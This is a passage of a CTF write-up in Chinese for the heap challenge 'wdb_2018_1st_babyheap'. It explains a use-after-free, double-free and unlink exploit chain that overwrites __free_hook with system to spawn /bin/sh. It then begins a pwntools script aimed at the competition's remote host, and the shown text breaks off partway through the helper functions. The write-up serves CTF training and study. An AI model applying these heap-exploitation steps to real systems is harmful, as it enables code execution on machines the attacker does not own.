wdb_2018_1st_babyheap(unlink, UAF)
add的大小固定为0x20
edit机会只有三次
指针悬挂
利用思路如下:
- 进行几次添加
add(0, (p64(0)+p64(0x31))*2)
add(1, 'aaa\n')
add(2, 'aaa\n')
add(3, 'aaa\n')
add(4, '/bin/sh\n')
- 删除0和1,再删除一次0,此时show(0)能泄露出heap的地址
- 编辑0,修改fd为heap+0x10
- 进行一次添加,此时分配到0的地方,在其中伪造一个0x30大小的chunk,且fd为chunk0的地址
- 添加,此时能修改chunk1的size为0x91,pre_size为0x20,然后再利用添加把chunk0中伪造的chunk的size改为0x20,fd为0x602060-0x18,bk为0x602060-0x10
- 删除1,触发unlink,此时show(6)会泄露main_arena+0x58的地址,计算
__free_hook
和sytem
的地址,先在0x602060处写入__free_hook
,然后编辑0写入system
,删除4即可
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 29610)
#r = process("./wdb_2018_1st_babyheap")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x400CF7
x/10gx 0x602060
c
''')
elf = ELF("./wdb_2018_1st_babyheap")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
bss_arr = 0x602060
read_got = elf.got['read']
menu = "Choice:"
def add(index, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("Content:")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Index:")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Index:")
r.sendline(str(index))
r.recvuntil("Content:")
r.send(content)
def show(index):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Index:")
r.sendline(str(index